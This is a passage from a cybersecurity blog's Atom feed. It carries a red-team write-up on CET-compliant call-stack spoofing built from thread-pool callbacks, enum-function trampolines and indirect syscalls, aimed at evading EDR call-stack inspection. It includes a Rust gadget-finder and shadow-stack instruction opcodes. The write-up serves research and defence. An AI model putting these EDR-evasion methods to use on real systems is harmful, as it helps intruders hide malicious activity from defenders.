<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://mrtiz.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mrtiz.github.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-07-26T17:02:38+02:00</updated><id>https://mrtiz.github.io/feed.xml</id><title type="html">Tiziano’s Cybersecurity Blog</title><subtitle>Cybersecurity research, red-team techniques, CVE deep-dives, and Windows internals write-ups by Tiziano Marra</subtitle><author><name>Tiziano Marra</name></author><entry><title type="html">CET-Compliant Callstack Spoofing via Thread Pool Enum Callback Trampolining</title><link href="https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline" rel="alternate" type="text/html" title="CET-Compliant Callstack Spoofing via Thread Pool Enum Callback Trampolining" /><published>2026-07-12T00:00:00+02:00</published><updated>2026-07-12T00:00:00+02:00</updated><id>https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline</id><content type="html" xml:base="https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline"><![CDATA[<blockquote>
  <p><strong>Disclaimer.</strong> This research is published for <strong>educational and defensive purposes only</strong>. I do not endorse the use of this technique for unauthorized access to any computer system. Always obtain explicit written authorization before testing. If you use this on systems you don’t own, that’s on you, and it’s illegal.</p>
</blockquote>

<p><strong>GitHub Repository:</strong> <a href="https://github.com/MrTiz/CET-Enum-CallStack-Spoofer">MrTiz/CET-Enum-CallStack-Spoofer</a></p>

<hr />

<h2 id="table-of-contents">Table of Contents</h2>

<ul>
  <li><a href="#table-of-contents">Table of Contents</a></li>
  <li><a href="#1-abstract">1. Abstract</a></li>
  <li><a href="#2-a-brief-history-of-syscall-evasion">2. A Brief History of Syscall Evasion</a>
    <ul>
      <li><a href="#21-the-era-of-api-hooking-and-direct-syscalls-2019-2020">2.1 The era of API hooking and direct syscalls (~2019-2020)</a></li>
      <li><a href="#22-the-edr-counterattack-kernel-telemetry-2021">2.2 The EDR counterattack: kernel telemetry (~2021)</a></li>
      <li><a href="#23-indirect-syscalls-2021-2022">2.3 Indirect syscalls (~2021-2022)</a></li>
      <li><a href="#24-call-stack-spoofing-2022-2023">2.4 Call stack spoofing (~2022-2023)</a></li>
      <li><a href="#25-cet-enters-the-picture-2023-2025">2.5 CET enters the picture (~2023-2025)</a></li>
      <li><a href="#26-where-my-technique-fits">2.6 Where my technique fits</a></li>
    </ul>
  </li>
  <li><a href="#3-background-concepts">3. Background Concepts</a>
    <ul>
      <li><a href="#31-the-windows-x64-calling-convention">3.1 The Windows x64 Calling Convention</a></li>
      <li><a href="#32-how-edrs-inspect-call-stacks">3.2 How EDRs Inspect Call Stacks</a></li>
      <li><a href="#33-what-is-an-indirect-syscall">3.3 What Is an Indirect Syscall?</a></li>
      <li><a href="#34-the-windows-thread-pool">3.4 The Windows Thread Pool</a></li>
      <li><a href="#35-enum-callback-functions">3.5 Enum Callback Functions</a></li>
      <li><a href="#36-manual-stack-unwinding-with-rtlvirtualunwind">3.6 Manual Stack Unwinding with <code class="language-text highlighter-rouge">RtlVirtualUnwind</code></a></li>
      <li><a href="#37-intel-cet-and-the-shadow-stack">3.7 Intel CET and the Shadow Stack</a></li>
      <li><a href="#38-the-teb-arbitraryuserpointer">3.8 The TEB <code class="language-text highlighter-rouge">ArbitraryUserPointer</code></a></li>
    </ul>
  </li>
  <li><a href="#4-technique-design">4. Technique Design</a>
    <ul>
      <li><a href="#41-high-level-overview">4.1 High-Level Overview</a></li>
      <li><a href="#42-the-three-phases">4.2 The Three Phases</a></li>
      <li><a href="#43-the-resulting-callstack">4.3 The Resulting Callstack</a></li>
    </ul>
  </li>
  <li><a href="#5-implementation-deep-dive">5. Implementation Deep Dive</a>
    <ul>
      <li><a href="#51-the-embeddedcontext-structure">5.1 The <code class="language-text highlighter-rouge">EmbeddedContext</code> Structure</a></li>
      <li><a href="#52-the-thread-pool-dispatcher">5.2 The Thread Pool Dispatcher</a></li>
      <li><a href="#53-phase-1-the-thread-pool-worker">5.3 Phase 1: The Thread Pool Worker</a></li>
      <li><a href="#54-phase-2-the-enum-callback-syscall-execution">5.4 Phase 2: The Enum Callback (Syscall Execution)</a></li>
      <li><a href="#55-phase-3-cleanup">5.5 Phase 3: Cleanup</a></li>
      <li><a href="#56-user_mode_continue-cet-compliant-context-switch">5.6 <code class="language-text highlighter-rouge">user_mode_continue</code>: CET-Compliant Context Switch</a></li>
      <li><a href="#57-a-note-on-rax-you-cant-get-it-back">5.7 A Note on <code class="language-text highlighter-rouge">RAX</code>: You Can’t Get It Back</a></li>
    </ul>
  </li>
  <li><a href="#6-cet-compliance-the-core-contribution">6. CET Compliance: The Core Contribution</a>
    <ul>
      <li><a href="#61-why-traditional-spoofing-breaks-under-cet">6.1 Why Traditional Spoofing Breaks Under CET</a></li>
      <li><a href="#62-jmp-instead-of-ret">6.2 <code class="language-text highlighter-rouge">JMP</code> Instead of <code class="language-text highlighter-rouge">RET</code></a></li>
      <li><a href="#63-shadow-stack-pointer-reconciliation">6.3 Shadow Stack Pointer Reconciliation</a></li>
      <li><a href="#64-build-configuration-for-cet">6.4 Build Configuration for CET</a></li>
      <li><a href="#65-a-note-on-cfg-compatibility">6.5 A Note on CFG Compatibility</a></li>
    </ul>
  </li>
  <li><a href="#7-the-39-enum-functions">7. The 39 Enum Functions</a>
    <ul>
      <li><a href="#71-the-complete-list">7.1 The Complete List</a></li>
      <li><a href="#72-why-these-functions-work">7.2 Why These Functions Work</a></li>
      <li><a href="#73-not-all-functions-support-all-syscall-argument-counts">7.3 Not All Functions Support All Syscall Argument Counts</a></li>
      <li><a href="#74-a-note-on-initonceexecuteonce">7.4 A Note on <code class="language-text highlighter-rouge">InitOnceExecuteOnce</code></a></li>
      <li><a href="#75-why-not-user32dll">7.5 Why Not <code class="language-text highlighter-rouge">user32.dll</code>?</a></li>
    </ul>
  </li>
  <li><a href="#8-the-debugging-nightmare">8. The Debugging Nightmare</a>
    <ul>
      <li><a href="#81-the-enum-function-crashes">8.1 The Enum Function Crashes</a></li>
      <li><a href="#82-the-thread-pool-crashes">8.2 The Thread Pool Crashes</a></li>
      <li><a href="#83-the-8-byte-offset-that-ruined-my-week">8.3 The 8-Byte Offset That Ruined My Week</a></li>
      <li><a href="#84-incsspd-vs-incsspq-the-4-byte-misalignment">8.4 <code class="language-text highlighter-rouge">INCSSPD</code> vs <code class="language-text highlighter-rouge">INCSSPQ</code>: The 4-Byte Misalignment</a></li>
    </ul>
  </li>
  <li><a href="#9-about-this-poc">9. About This PoC</a>
    <ul>
      <li><a href="#91-what-is-intentionally-simplified">9.1 What Is Intentionally Simplified</a></li>
      <li><a href="#92-this-is-not-a-weapon">9.2 This Is NOT a Weapon</a></li>
    </ul>
  </li>
  <li><a href="#10-future-work">10. Future Work</a></li>
  <li><a href="#11-detection-and-countermeasures">11. Detection and Countermeasures</a>
    <ul>
      <li><a href="#111-teb-arbitraryuserpointer-monitoring">11.1 TEB ArbitraryUserPointer Monitoring</a></li>
      <li><a href="#112-shadow-stack-vs-normal-stack-divergence">11.2 Shadow Stack vs. Normal Stack Divergence</a></li>
      <li><a href="#113-heuristic-call-stack-analysis">11.3 Heuristic Call Stack Analysis</a></li>
      <li><a href="#114-enum-callback-behavioral-analysis">11.4 Enum Callback Behavioral Analysis</a></li>
      <li><a href="#115-thread-pool-work-item-profiling">11.5 Thread Pool Work Item Profiling</a></li>
      <li><a href="#116-incsspq-instruction-monitoring">11.6 <code class="language-text highlighter-rouge">INCSSPQ</code> Instruction Monitoring</a></li>
    </ul>
  </li>
  <li><a href="#12-conclusion">12. Conclusion</a></li>
  <li><a href="#13-prior-art-and-acknowledgments">13. Prior Art and Acknowledgments</a></li>
  <li><a href="#14-references">14. References</a></li>
</ul>

<hr />

<h2 id="1-abstract">1. Abstract</h2>

<p>Modern Endpoint Detection and Response (EDR) solutions increasingly rely on call stack inspection to catch suspicious syscalls. When something like <code class="language-text highlighter-rouge">NtProtectVirtualMemory</code> fires, the EDR walks the thread’s call stack. If any return address points to unbacked memory, the operation gets flagged.</p>

<p>This article presents a callstack spoofing technique that combines three primitives:</p>

<ul>
  <li><strong>Windows Thread Pool execution</strong> for a clean stack base</li>
  <li><strong>Enum callback trampolining</strong> for a real, legitimate mid-stack frame</li>
  <li><strong>Indirect syscalls</strong> for a clean <code class="language-text highlighter-rouge">syscall</code> return address</li>
</ul>

<p>The result: a call stack where every frame is backed by a signed Windows module at the moment the <code class="language-text highlighter-rouge">syscall</code> executes. No synthetic frames, no fabricated unwind data, no smoke and mirrors. The enum function is genuinely on the stack because we genuinely called it.</p>

<p>The actual contribution here is not in the individual components. All of them have been published before by other researchers (credited in <a href="#13-prior-art-and-acknowledgments">Section 13</a>). What I put together is their composition and, most importantly, the <strong>CET compliance mechanism</strong>: a <code class="language-text highlighter-rouge">jmp</code>-based context switch combined with direct shadow stack pointer reconciliation using <code class="language-text highlighter-rouge">RDSSPQ</code>/<code class="language-text highlighter-rouge">INCSSPQ</code>. This makes the technique work on systems with Intel CET hardware enforcement without touching unwind metadata.</p>

<p>The PoC is written in Rust with inline assembly and compiles with full CET support (<code class="language-text highlighter-rouge">/CETCOMPAT</code>, <code class="language-text highlighter-rouge">/guard:ehcont</code>, <code class="language-text highlighter-rouge">control-flow-guard</code>).</p>

<hr />

<h2 id="2-a-brief-history-of-syscall-evasion">2. A Brief History of Syscall Evasion</h2>

<p>Before diving in, let me give some context on how we got here. The cat-and-mouse game between attackers and defenders around system calls has been going on for years, and understanding the history helps appreciate why CET compliance matters now.</p>

<h3 id="21-the-era-of-api-hooking-and-direct-syscalls-2019-2020">2.1 The era of API hooking and direct syscalls (~2019-2020)</h3>

<p>For years, EDRs relied on user-mode API hooking. The EDR injects a DLL into every process, places trampolines at the beginning of sensitive <code class="language-text highlighter-rouge">ntdll.dll</code> functions (<code class="language-text highlighter-rouge">NtAllocateVirtualMemory</code>, <code class="language-text highlighter-rouge">NtProtectVirtualMemory</code>, <code class="language-text highlighter-rouge">NtWriteVirtualMemory</code>, etc.), and intercepts every call to inspect arguments before letting it through.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/user-mode-hooking.png" alt="User-mode hooking" width="1665" height="1000" />
    <br />
    <em>Image credit: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls" target="_blank">RedOps</a></em>
</p>

<p>The offensive response was <strong>direct syscalls</strong>: skip <code class="language-text highlighter-rouge">ntdll.dll</code> entirely. Load the System Service Number (<code class="language-text highlighter-rouge">SSN</code>) into <code class="language-text highlighter-rouge">RAX</code>, execute <code class="language-text highlighter-rouge">syscall</code> from your own code. No API call, no hook, no interception.</p>

<p><a href="https://github.com/jthuraisamy/SysWhispers">SysWhispers</a> by @jthuraisamy made this accessible by generating header/ASM stubs. <a href="https://github.com/jthuraisamy/SysWhispers2">SysWhispers2</a> improved <code class="language-text highlighter-rouge">SSN</code> resolution. Around the same time, <a href="https://github.com/am0nsec/HellsGate">Hell’s Gate</a> by am0nsec and smelly__vx introduced dynamic <code class="language-text highlighter-rouge">SSN</code> resolution by parsing <code class="language-text highlighter-rouge">ntdll.dll</code> in memory. <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">Halo’s Gate</a> and <a href="https://github.com/trickster0/TartarusGate">Tartarus’ Gate</a> by trickster0 handled cases where some stubs were hooked.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/direct_syscalls_principle.png" alt="Direct syscalls principle diagram" width="1707" height="1000" />
    <br />
    <em>Image credit: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls" target="_blank">RedOps</a></em>
</p>

<h3 id="22-the-edr-counterattack-kernel-telemetry-2021">2.2 The EDR counterattack: kernel telemetry (~2021)</h3>

<p>EDR vendors realized that hooking <code class="language-text highlighter-rouge">ntdll.dll</code> was a losing battle. If the attacker runs code in your process, they can just unhook everything. So the focus shifted to kernel-level telemetry: the <code class="language-text highlighter-rouge">Microsoft-Windows-Threat-Intelligence</code> ETW provider, kernel callbacks, and most importantly, call stack walking from the kernel side.</p>

<p>With direct syscalls, the call stack at the moment of the <code class="language-text highlighter-rouge">syscall</code> looks like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>0x00007FF7A1230042    ← your code (maybe unbacked memory)
kernel32!BaseThreadInitThunk+0x17
ntdll!RtlUserThreadStart+0x2C
</pre></td></tr></tbody></table></code></pre></div></div>

<p>That first frame is a dead giveaway. Game over.</p>

<h3 id="23-indirect-syscalls-2021-2022">2.3 Indirect syscalls (~2021-2022)</h3>

<p>The answer was <strong>indirect syscalls</strong>: instead of executing <code class="language-text highlighter-rouge">syscall</code> from your code, jump to an existing <code class="language-text highlighter-rouge">syscall; ret</code> sequence inside <code class="language-text highlighter-rouge">ntdll.dll</code>. This was popularized by @modexpblog (MDSec) in their blog post “<a href="https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/">Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams</a>” and later formalized in <a href="https://github.com/klezVirus/SysWhispers3">SysWhispers3</a> by klezVirus.</p>

<p>The immediate return address now points into <code class="language-text highlighter-rouge">ntdll.dll</code>. Clean. But the rest of the stack still reveals the real caller. EDRs started walking deeper.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/indirect_syscalls_principle.png" alt="Indirect syscalls principle diagram" width="1707" height="1000" />
    <br />
    <em>Image credit: <a href="https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls" target="_blank">RedOps</a></em>
</p>

<h3 id="24-call-stack-spoofing-2022-2023">2.4 Call stack spoofing (~2022-2023)</h3>

<p>Next step: forge the entire stack. Make every frame look legitimate. Several researchers tackled this:</p>

<ul>
  <li><a href="https://github.com/mgeeky/ThreadStackSpoofer">ThreadStackSpoofer</a> by mgeeky (passive spoofing during sleep)</li>
  <li><a href="https://github.com/klezVirus/SilentMoonwalk">SilentMoonwalk</a> by klezVirus (dynamic spoofing with synthetic unwindable frames)</li>
  <li><a href="https://github.com/WithSecureLabs/CallStackSpoofer">VulcanRaven</a> by WithSecure Labs (return address manipulation)</li>
  <li><a href="https://github.com/susMdT/LoudSunRun">LoudSunRun</a> by susMdT (combined SilentMoonwalk + VulcanRaven)</li>
  <li><a href="https://github.com/Kudaes/Unwinder">Unwinder</a> by Kudaes (Rust-based stack spoofing)</li>
</ul>

<p>All solid work. But they all share a problem: they manipulate return addresses on the normal stack. And then Intel dropped the bomb.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/call_stack_spoofing_theory.png" alt="Call stack spoofing" width="788" height="425" />
    <br />
    <em>Image credit: <a href="https://dtsec.us/2023-09-15-StackSpoofin/" target="_blank">dtsec.us</a></em>
</p>

<h3 id="25-cet-enters-the-picture-2023-2025">2.5 CET enters the picture (~2023-2025)</h3>

<p>Intel CET introduced the <strong>shadow stack</strong>: a hardware-enforced second copy of return addresses. On every <code class="language-text highlighter-rouge">CALL</code>, the CPU pushes the return address to both stacks. On every <code class="language-text highlighter-rouge">RET</code>, both are popped and compared. Mismatch? <code class="language-text highlighter-rouge">#CP</code> fault, process dead.</p>

<p>You can overwrite the normal stack all day long. The shadow stack doesn’t care. It has the real addresses, and you can’t touch it with normal memory writes.</p>

<p>The first research specifically targeting CET compliance was <a href="https://klezvirus.github.io/posts/Byoud/">BYOUD (Bring Your Own Unwind Data)</a> by klezVirus, presented at Black Hat Europe. BYOUD achieves CET compatibility by manipulating unwind metadata (<code class="language-text highlighter-rouge">.pdata</code> sections). Completely different approach from what I present here, and worth studying.</p>

<h3 id="26-where-my-technique-fits">2.6 Where my technique fits</h3>

<p>I took a different route: instead of touching unwind metadata, I achieve CET compliance through two things:</p>

<ol>
  <li>Using <code class="language-text highlighter-rouge">jmp</code> instead of <code class="language-text highlighter-rouge">ret</code> for context switches (the shadow stack is not involved in <code class="language-text highlighter-rouge">jmp</code>)</li>
  <li>Directly advancing the Shadow Stack Pointer via <code class="language-text highlighter-rouge">RDSSPQ</code> and <code class="language-text highlighter-rouge">INCSSPQ</code> (the CET user-mode shadow-stack instructions, detailed in <a href="#37-intel-cet-and-the-shadow-stack">Section 3.7</a>) to realign it</li>
</ol>

<p>Combined with thread pool + enum callback trampolining that produces a genuinely clean call stack (not synthetic frames but actual function calls).</p>

<p>I want to be clear: none of the pieces are mine. The contribution is putting them together in a way that works end-to-end under CET, and then spending an unreasonable amount of time debugging the crashes (more on that in <a href="#8-the-debugging-nightmare">Section 8</a>).</p>

<hr />

<h2 id="3-background-concepts">3. Background Concepts</h2>

<p>If you already know all of this, skip to <a href="#4-technique-design">Section 4</a>. If not, grab a coffee, because this is going to take a while.</p>

<h3 id="31-the-windows-x64-calling-convention">3.1 The Windows x64 Calling Convention</h3>

<p>On 64-bit Windows, the first four function arguments go in registers: <code class="language-text highlighter-rouge">RCX</code>, <code class="language-text highlighter-rouge">RDX</code>, <code class="language-text highlighter-rouge">R8</code>, <code class="language-text highlighter-rouge">R9</code>. Anything beyond that goes on the stack, starting at <code class="language-text highlighter-rouge">[RSP+0x28]</code> from the callee’s perspective.</p>

<p>The caller must also reserve 32 bytes of “home space” (shadow space) on the stack, even for functions with fewer than four arguments. The callee is allowed to use this space as scratch.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>              ┌─────────────────────────┐
  RSP+0x00 →  │ Return address          │  ← pushed by CALL
              ├─────────────────────────┤
  RSP+0x08 →  │ Home space for RCX      │  ← 32 bytes, callee can trash these
  RSP+0x10 →  │ Home space for RDX      │
  RSP+0x18 →  │ Home space for R8       │
  RSP+0x20 →  │ Home space for R9       │
              ├─────────────────────────┤
  RSP+0x28 →  │ 5th argument            │  ← extra args start here
  RSP+0x30 →  │ 6th argument            │
              └─────────────────────────┘
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This layout matters a lot for our technique because we build these frames manually. Get one offset wrong and the whole thing explodes. Trust me, I know (see <a href="#83-the-8-byte-offset-that-ruined-my-week">Section 8.3</a>).</p>

<h3 id="32-how-edrs-inspect-call-stacks">3.2 How EDRs Inspect Call Stacks</h3>

<p>When a sensitive <code class="language-text highlighter-rouge">syscall</code> fires, the kernel (or an EDR driver) captures the thread’s call stack. On x64 Windows, stack walking uses unwind information from the PE’s <code class="language-text highlighter-rouge">.pdata</code> section. Each function has a <code class="language-text highlighter-rouge">RUNTIME_FUNCTION</code> entry describing its frame layout. Given a <code class="language-text highlighter-rouge">RIP</code> value, the unwinder computes the caller’s state, and the caller’s caller, all the way to the thread entry.</p>

<p>The EDR checks each return address: does it belong to a known, signed module? Or does it point to unbacked memory? One bad frame and the whole call is suspicious.</p>

<p>Our goal: make every frame look clean.</p>

<h3 id="33-what-is-an-indirect-syscall">3.3 What Is an Indirect Syscall?</h3>

<p>Instead of executing <code class="language-text highlighter-rouge">syscall</code> from your own code, you jump to an existing <code class="language-text highlighter-rouge">syscall; ret</code> sequence (bytes <code class="language-text highlighter-rouge">0F 05 C3</code>) already present inside <code class="language-text highlighter-rouge">ntdll.dll</code>.</p>

<p>In the PoC, I find the trampoline by scanning the target <code class="language-text highlighter-rouge">Zw</code> function backwards:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="k">fn</span> <span class="nf">get_trampoline</span><span class="p">(</span><span class="n">func_addr</span><span class="p">:</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u8</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="nb">u64</span><span class="p">,</span> <span class="p">()</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">image_base</span><span class="p">:</span> <span class="nb">u64</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">func_entry</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
        <span class="nf">RtlLookupFunctionEntry</span><span class="p">(</span><span class="n">func_addr</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="n">image_base</span><span class="p">,</span> <span class="nf">null_mut</span><span class="p">())</span>
    <span class="p">};</span>

    <span class="k">let</span> <span class="n">func_size</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
        <span class="p">(</span><span class="o">*</span><span class="n">func_entry</span><span class="p">)</span><span class="py">.EndAddress</span> <span class="o">-</span> <span class="p">(</span><span class="o">*</span><span class="n">func_entry</span><span class="p">)</span><span class="py">.BeginAddress</span>
    <span class="p">}</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">;</span>

    <span class="k">if</span> <span class="n">func_size</span> <span class="o">&gt;=</span> <span class="mi">3</span> <span class="p">{</span>
        <span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="p">(</span><span class="mi">0</span><span class="o">..</span><span class="n">func_size</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span><span class="nf">.rev</span><span class="p">()</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">ptr</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="n">func_addr</span><span class="nf">.add</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="p">};</span>

            <span class="k">if</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">read_unaligned</span><span class="p">(</span><span class="n">ptr</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="p">[</span><span class="nb">u8</span><span class="p">;</span> <span class="mi">3</span><span class="p">])</span> <span class="p">}</span> <span class="o">==</span> <span class="p">[</span><span class="mi">0x0F</span><span class="p">,</span> <span class="mi">0x05</span><span class="p">,</span> <span class="mi">0xC3</span><span class="p">]</span> <span class="p">{</span> <span class="c1">// syscall; ret</span>
                <span class="k">return</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">ptr</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="nf">Err</span><span class="p">(())</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>When I want to run the <code class="language-text highlighter-rouge">syscall</code>, I load the <code class="language-text highlighter-rouge">SSN</code> into <code class="language-text highlighter-rouge">RAX</code>, arguments into the right registers, and jump to the trampoline. The kernel sees the return address pointing into <code class="language-text highlighter-rouge">ntdll.dll</code>. Clean.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/ZwProtectVirtualMemory_trampoline_ssn.png" alt="x64dbg ZwProtectVirtualMemory disassembly" width="1030" height="169" />
    <br />
    <em>x64dbg ZwProtectVirtualMemory disassembly</em>
</p>

<h3 id="34-the-windows-thread-pool">3.4 The Windows Thread Pool</h3>

<p>The Thread Pool API (<code class="language-text highlighter-rouge">CreateThreadpoolWork</code>, <code class="language-text highlighter-rouge">SubmitThreadpoolWork</code>, etc.) lets you queue work items for execution by OS-managed worker threads. The important thing for us: these threads have naturally clean call stacks because the OS created them.</p>

<p>A thread pool worker’s stack looks like:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>YourCallback
ntdll!TppWorkpExecuteCallback+4D0            ← internal TP function
ntdll!TppWorkerThread+801                    ← internal TP function
kernel32!BaseThreadInitThunk+17
ntdll!RtlUserThreadStart+2C
</pre></td></tr></tbody></table></code></pre></div></div>

<p>(Side note: depending on your symbol configuration, the debugger might show <code class="language-text highlighter-rouge">TppWorkpExecuteCallback</code> or <code class="language-text highlighter-rouge">RtlSetThreadSubProcessTag+xxxx</code>. The latter happens because the actual thread pool functions are not always in the public symbol file. WinDbg with Microsoft’s public PDBs resolves them correctly; other debuggers may not. It confused me the first time too.)</p>

<p>By running our code in a thread pool callback, we get a clean stack foundation for free. No suspicious thread creation, no unbacked entry points at the bottom.</p>

<h3 id="35-enum-callback-functions">3.5 Enum Callback Functions</h3>

<p>Windows has tons of “Enum” functions that take a callback pointer and call it iteratively. <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> enumerates locales, <code class="language-text highlighter-rouge">EnumResourceTypesW</code> enumerates resource types, and so on.</p>

<p>The key property: when the OS calls your callback, the enum function itself appears as a real frame on the stack. Not a fake frame. <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> (which internally dispatches to <code class="language-text highlighter-rouge">kernelbase!Internal_EnumSystemLocales</code>) is genuinely calling your code. An EDR walking the stack sees a legitimate call from a signed module.</p>

<p>More on the specific 39 functions I identified in <a href="#7-the-39-enum-functions">Section 7</a>.</p>

<h3 id="36-manual-stack-unwinding-with-rtlvirtualunwind">3.6 Manual Stack Unwinding with <code class="language-text highlighter-rouge">RtlVirtualUnwind</code></h3>

<p><code class="language-text highlighter-rouge">RtlVirtualUnwind</code> is the core Windows API for programmatic stack unwinding. The OS uses it for exception handling, debuggers use it for stack walks. Given a RIP and the function’s <code class="language-text highlighter-rouge">RUNTIME_FUNCTION</code> entry, it computes the caller’s register state: return address, stack pointer, saved registers, everything.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="n">PEXCEPTION_ROUTINE</span> <span class="nf">RtlVirtualUnwind</span><span class="p">(</span>
    <span class="n">ULONG</span>                          <span class="n">HandlerType</span><span class="p">,</span>
    <span class="n">ULONG64</span>                        <span class="n">ImageBase</span><span class="p">,</span>
    <span class="n">ULONG64</span>                        <span class="n">ControlPc</span><span class="p">,</span>
    <span class="n">PRUNTIME_FUNCTION</span>              <span class="n">FunctionEntry</span><span class="p">,</span>
    <span class="n">PCONTEXT</span>                       <span class="n">ContextRecord</span><span class="p">,</span>    <span class="c1">// in/out</span>
    <span class="n">PVOID</span>                         <span class="o">*</span><span class="n">HandlerData</span><span class="p">,</span>
    <span class="n">PULONG64</span>                       <span class="n">EstablisherFrame</span><span class="p">,</span>
    <span class="n">PKNONVOLATILE_CONTEXT_POINTERS</span> <span class="n">ContextPointers</span>
<span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I use it twice:</p>
<ol>
  <li><strong>Phase 1</strong>: unwind from the thread pool worker to find where the TP internals expect control to return</li>
  <li><strong>Phase 2</strong>: unwind from the enum callback to find where <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> expects its callback to return</li>
</ol>

<p>Both times I capture the real return address from the unwind, then use it to build correctly-chained stack frames. This is not guesswork; I’m reading the exact same data that the OS would use.</p>

<h3 id="37-intel-cet-and-the-shadow-stack">3.7 Intel CET and the Shadow Stack</h3>

<p>Intel CET is a hardware feature with a simple but devastating (for us) idea: every thread gets two stacks.</p>

<ul>
  <li>The <strong>normal stack</strong> (<code class="language-text highlighter-rouge">RSP</code>): writable by anyone</li>
  <li>The <strong>shadow stack</strong> (<code class="language-text highlighter-rouge">SSP</code>): hardware-protected, only for return addresses</li>
</ul>

<p>On <code class="language-text highlighter-rouge">CALL</code>: push return address to both. On <code class="language-text highlighter-rouge">RET</code>: pop from both, compare. Mismatch = <code class="language-text highlighter-rouge">#CP</code> fault = process dead.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>CALL some_function:
    Normal stack:  push return_addr     ← you can tamper with this
    Shadow stack:  push return_addr     ← hardware-protected, you can't

RET:
    pop normal_ret  from normal stack
    pop shadow_ret  from shadow stack
    if normal_ret != shadow_ret → #CP fault → crash
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This kills traditional stack spoofing. You can forge the normal stack all you want, but the shadow stack has the real addresses and you can’t write to it.</p>

<p>There are however two user-mode instructions we can use:</p>

<table>
  <thead>
    <tr>
      <th>Instruction</th>
      <th>Opcode bytes</th>
      <th>What it does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-text highlighter-rouge">RDSSPQ reg</code></td>
      <td><code class="language-text highlighter-rouge">F3 48 0F 1E C8</code></td>
      <td>Read Shadow Stack Pointer into <code class="language-text highlighter-rouge">reg</code>. Returns <code class="language-text highlighter-rouge">0</code> if CET is off.</td>
    </tr>
    <tr>
      <td><code class="language-text highlighter-rouge">INCSSPQ reg</code></td>
      <td><code class="language-text highlighter-rouge">F3 48 0F AE E9</code></td>
      <td>Advance SSP forward by <code class="language-text highlighter-rouge">reg × 8</code> bytes (one entry per unit on x64).</td>
    </tr>
  </tbody>
</table>

